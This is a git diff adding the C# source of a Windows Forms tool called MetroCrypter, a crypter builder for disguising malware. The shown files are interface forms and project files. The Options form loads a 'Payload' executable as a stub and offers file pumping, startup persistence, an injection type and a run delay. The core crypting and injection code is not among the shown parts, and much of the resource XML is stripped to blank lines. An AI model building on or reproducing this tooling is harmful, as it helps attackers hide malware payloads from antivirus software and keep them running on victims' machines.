23); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(97, 23); + this.button2.TabIndex = 36; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.timerr.get_CustomButton().set_Image(null); + this.timerr.get_CustomButton().Location = new Point(159, 1); + this.timerr.get_CustomButton().Name = ""; + this.timerr.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.timerr.get_CustomButton().set_Style(4); + this.timerr.get_CustomButton().TabIndex = 1; + this.timerr.get_CustomButton().set_Theme(1); + this.timerr.get_CustomButton().set_UseSelectable(true); + this.timerr.get_CustomButton().Visible = false; + this.timerr.set_Lines(new string[0]); + this.timerr.Location = new Point(52, 64); + this.timerr.set_MaxLength(32767); + this.timerr.Name = "timerr"; + this.timerr.set_PasswordChar('\0'); + this.timerr.set_ScrollBars(ScrollBars.None); + this.timerr.set_SelectedText(""); + this.timerr.set_SelectionLength(0); + this.timerr.set_SelectionStart(0); + this.timerr.set_ShortcutsEnabled(true); + this.timerr.Size = new System.Drawing.Size(181, 23); + this.timerr.set_Style(3); + this.timerr.TabIndex = 38; + this.timerr.set_UseSelectable(true); + this.timerr.set_WaterMark("Delay in seconds"); + this.timerr.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.timerr.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(34, 36, 39); + base.ClientSize = new System.Drawing.Size(284, 148); + base.Controls.Add(this.timerr); + base.Controls.Add(this.button3); + base.Controls.Add(this.button2); + base.Controls.Add(this.button1); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.MaximumSize = new System.Drawing.Size(284, 148); + base.Name = "Timer"; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "Timer"; + base.Load += new EventHandler(this.Timer_Load); + base.ResumeLayout(false); + } + + private void Timer_Load(object sender, EventArgs e) + { + this.timerr.Text = Form1.CID.delay; + if (!Form1.CID.tmreply) + { + this.button3.Text = "Disabled"; + } + else + { + this.button2.Enabled = true; + this.button3.Text = "Enabled"; + } + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.resx new file mode 100644 index 0000000..8720189 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/Timer.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.Designer.cs new file mode 100644 index 0000000..ffd1d5a --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.Designer.cs @@ -0,0 +1,38 @@ +namespace MetroCrypter.Forms +{ + partial class injectiontype + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Text = "injectiontype"; + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.cs new file mode 100644 index 0000000..8ff5389 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.cs @@ -0,0 +1,132 @@ +using MetroCrypter; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter.Forms +{ + public class injectiontype : Form + { + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button2; + + private Button button1; + + private ComboBox comboBox1; + + public injectiontype() + { + this.InitializeComponent(); + if (Form1.CID.ijtype != string.Empty) + { + this.comboBox1.SelectedItem = Form1.CID.ijtype; + } + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + Form1.CID.ijtype = this.comboBox1.SelectedItem.ToString(); + base.Close(); + } + + private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) + { + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(injectiontype)); + this.button2 = new Button(); + this.button1 = new Button(); + this.comboBox1 = new ComboBox(); + base.SuspendLayout(); + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.ForeColor = Color.White; + this.button2.Location = new Point(109, 144); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(75, 23); + this.button2.TabIndex = 35; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(263, 0); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 36; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.comboBox1.DropDownStyle = ComboBoxStyle.DropDownList; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.Items.AddRange(new object[] { "Itself" }); + this.comboBox1.Location = new Point(85, 71); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new System.Drawing.Size(121, 21); + this.comboBox1.TabIndex = 37; + this.comboBox1.SelectedIndexChanged += new EventHandler(this.comboBox1_SelectedIndexChanged); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(33, 35, 38); + base.ClientSize = new System.Drawing.Size(292, 182); + base.Controls.Add(this.comboBox1); + base.Controls.Add(this.button1); + base.Controls.Add(this.button2); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.MaximumSize = new System.Drawing.Size(292, 182); + base.Name = "injectiontype"; + base.ShowIcon = false; + base.ShowInTaskbar = false; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "injectiontype"; + base.Load += new EventHandler(this.injectiontype_Load); + base.ResumeLayout(false); + } + + private void injectiontype_Load(object sender, EventArgs e) + { + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.resx new file mode 100644 index 0000000..8720189 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Forms/injectiontype.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/MetroCrypter.csproj b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/MetroCrypter.csproj new file mode 100644 index 0000000..ba34b9f --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/MetroCrypter.csproj @@ -0,0 +1,179 @@ + + + + + Debug + AnyCPU + {FDFD0732-E42E-404F-91EC-0D73C391CF22} + WinExe + Properties + MetroCrypter + MetroCrypter + v4.5.2 + 512 + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\..\..\..\..\Desktop\Crypter\MetroCrypter\MetroFramework.dll + + + ..\..\..\..\..\Desktop\Crypter\MetroCrypter\MetroFramework.Design.dll + + + ..\..\..\..\..\Desktop\Crypter\MetroCrypter\MetroFramework.Fonts.dll + + + + + + + + + + + + + + + + Form + + + Assembly.cs + + + + Form + + + Form1.cs + + + Form + + + Binding.cs + + + Form + + + FilePump.cs + + + Form + + + injectiontype.cs + + + Form + + + Popup.cs + + + Form + + + ProfileDialog.cs + + + Form + + + Startup.cs + + + Form + + + Timer.cs + + + Form + + + Options.cs + + + + + + Assembly.cs + + + Form1.cs + + + Binding.cs + + + FilePump.cs + + + Popup.cs + + + ProfileDialog.cs + + + Startup.cs + + + Timer.cs + + + Options.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.Designer.cs new file mode 100644 index 0000000..f63de4e --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.Designer.cs @@ -0,0 +1,47 @@ +namespace MetroCrypter +{ + partial class Options + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Options + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(284, 261); + this.Name = "Options"; + this.Text = "Options"; + this.Load += new System.EventHandler(this.Options_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.cs new file mode 100644 index 0000000..5ec8d45 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.cs @@ -0,0 +1,303 @@ +using MetroCrypter.Forms; +using MetroFramework.Components; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter +{ + public class Options : Form + { + private Startup startup; + + private FilePump fp; + + private injectiontype ijtype; + + private MetroCrypter.Forms.Timer tm; + + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button button1; + + private Button ExeLoad; + + private Label ils; + + private Button button2; + + private Button button3; + + private Button button5; + + private Button button6; + + private Button IcoLoad; + + private MetroToolTip metroToolTip1; + + public Options() + { + this.InitializeComponent(); + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + base.WindowState = FormWindowState.Minimized; + } + + private void button2_Click_1(object sender, EventArgs e) + { + this.fp = new FilePump(); + this.fp.ShowDialog(); + } + + private void button3_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + openFileDialog.Filter = "Payload|*.exe"; + Form1.CID.filename = openFileDialog.FileName; + this.ExeLoad.Text = string.Concat("\n", openFileDialog.SafeFileName.ToString()); + this.ExeLoad.ImageAlign = ContentAlignment.BottomCenter; + } + } + } + + private void button3_Click_1(object sender, EventArgs e) + { + this.startup = new Startup(); + this.startup.ShowDialog(); + } + + private void button5_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Icon|*.ico"; + if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + Form1.CID.iconame = openFileDialog.FileName; + this.IcoLoad.Text = string.Concat("\n", openFileDialog.SafeFileName.ToString()); + this.IcoLoad.ImageAlign = ContentAlignment.BottomCenter; + } + } + } + + private void button5_Click_1(object sender, EventArgs e) + { + this.ijtype = new injectiontype(); + this.ijtype.ShowDialog(); + } + + private void button6_Click(object sender, EventArgs e) + { + this.tm = new MetroCrypter.Forms.Timer(); + this.tm.ShowDialog(); + } + + private void delaylabel_Click(object sender, EventArgs e) + { + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Options)); + this.button1 = new Button(); + this.ExeLoad = new Button(); + this.ils = new Label(); + this.button2 = new Button(); + this.button3 = new Button(); + this.button5 = new Button(); + this.button6 = new Button(); + this.IcoLoad = new Button(); + this.metroToolTip1 = new MetroToolTip(); + base.SuspendLayout(); + this.button1.BackColor = Color.Transparent; + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.DimGray; + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(306, 0); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 31); + this.button1.TabIndex = 28; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.ExeLoad.BackColor = Color.FromArgb(64, 71, 77); + this.ExeLoad.FlatAppearance.BorderSize = 0; + this.ExeLoad.FlatStyle = FlatStyle.Flat; + this.ExeLoad.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.ExeLoad.Image = (Image)componentResourceManager.GetObject("ExeLoad.Image"); + this.ExeLoad.Location = new Point(12, 39); + this.ExeLoad.Name = "ExeLoad"; + this.ExeLoad.Size = new System.Drawing.Size(153, 126); + this.ExeLoad.TabIndex = 33; + this.ExeLoad.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.ExeLoad, "Load Stub"); + this.ExeLoad.UseVisualStyleBackColor = false; + this.ExeLoad.Click += new EventHandler(this.button3_Click); + this.ils.AutoSize = true; + this.ils.BackColor = Color.FromArgb(85, 94, 102); + this.ils.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.ils.ForeColor = Color.White; + this.ils.Location = new Point(219, 157); + this.ils.Name = "ils"; + this.ils.Size = new System.Drawing.Size(0, 16); + this.ils.TabIndex = 49; + this.button2.AllowDrop = true; + this.button2.BackColor = Color.FromArgb(64, 71, 77); + this.button2.BackgroundImageLayout = ImageLayout.None; + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button2.Image = (Image)componentResourceManager.GetObject("button2.Image"); + this.button2.Location = new Point(171, 171); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(153, 126); + this.button2.TabIndex = 50; + this.button2.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button2, "File Pumper"); + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click_1); + this.button3.AllowDrop = true; + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.BackgroundImageLayout = ImageLayout.None; + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button3.Image = (Image)componentResourceManager.GetObject("button3.Image"); + this.button3.Location = new Point(12, 171); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(153, 126); + this.button3.TabIndex = 51; + this.button3.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button3, "Startup"); + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click_1); + this.button5.AllowDrop = true; + this.button5.BackColor = Color.FromArgb(64, 71, 77); + this.button5.BackgroundImageLayout = ImageLayout.None; + this.button5.FlatAppearance.BorderSize = 0; + this.button5.FlatStyle = FlatStyle.Flat; + this.button5.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button5.Image = (Image)componentResourceManager.GetObject("button5.Image"); + this.button5.Location = new Point(12, 303); + this.button5.Name = "button5"; + this.button5.Size = new System.Drawing.Size(153, 126); + this.button5.TabIndex = 52; + this.button5.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button5, "Injection Type"); + this.button5.UseVisualStyleBackColor = false; + this.button5.Click += new EventHandler(this.button5_Click_1); + this.button6.AllowDrop = true; + this.button6.BackColor = Color.FromArgb(85, 94, 102); + this.button6.BackgroundImageLayout = ImageLayout.None; + this.button6.FlatAppearance.BorderSize = 0; + this.button6.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button6.FlatStyle = FlatStyle.Flat; + this.button6.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button6.Image = (Image)componentResourceManager.GetObject("button6.Image"); + this.button6.Location = new Point(171, 303); + this.button6.Name = "button6"; + this.button6.Size = new System.Drawing.Size(153, 126); + this.button6.TabIndex = 53; + this.button6.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button6, "Timer"); + this.button6.UseVisualStyleBackColor = false; + this.button6.Click += new EventHandler(this.button6_Click); + this.IcoLoad.AllowDrop = true; + this.IcoLoad.BackColor = Color.FromArgb(85, 94, 102); + this.IcoLoad.BackgroundImageLayout = ImageLayout.None; + this.IcoLoad.FlatAppearance.BorderSize = 0; + this.IcoLoad.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.IcoLoad.FlatStyle = FlatStyle.Flat; + this.IcoLoad.Font = new System.Drawing.Font("Arial", 6.75f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.IcoLoad.Image = (Image)componentResourceManager.GetObject("IcoLoad.Image"); + this.IcoLoad.Location = new Point(171, 39); + this.IcoLoad.Name = "IcoLoad"; + this.IcoLoad.Size = new System.Drawing.Size(153, 126); + this.IcoLoad.TabIndex = 36; + this.IcoLoad.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.IcoLoad, "Load .ico"); + this.IcoLoad.UseVisualStyleBackColor = false; + this.IcoLoad.Click += new EventHandler(this.button5_Click); + this.metroToolTip1.set_Style(4); + this.metroToolTip1.set_StyleManager(null); + this.metroToolTip1.set_Theme(1); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(33, 35, 38); + base.ClientSize = new System.Drawing.Size(336, 441); + base.Controls.Add(this.button6); + base.Controls.Add(this.button5); + base.Controls.Add(this.button3); + base.Controls.Add(this.button2); + base.Controls.Add(this.ils); + base.Controls.Add(this.ExeLoad); + base.Controls.Add(this.button1); + base.Controls.Add(this.IcoLoad); + this.ForeColor = Color.Transparent; + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + base.MaximizeBox = false; + this.MaximumSize = new System.Drawing.Size(336, 441); + this.MinimumSize = new System.Drawing.Size(336, 441); + base.Name = "Options"; + base.ShowIcon = false; + base.ShowInTaskbar = false; + base.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "Options"; + base.Load += new EventHandler(this.Options_Load); + base.ResumeLayout(false); + base.PerformLayout(); + } + + private void Options_Load(object sender, EventArgs e) + { + this.ExeLoad.Text = string.Concat("\n", Form1.CID.filename); + this.ExeLoad.ImageAlign = ContentAlignment.BottomCenter; + this.IcoLoad.Text = string.Concat("\n", Form1.CID.iconame); + this.IcoLoad.ImageAlign = ContentAlignment.BottomCenter; + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.resx new file mode 100644 index 0000000..4b740b4 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Options.resx @@ -0,0 +1,265 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + g/+GHXnhyhkaKAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + 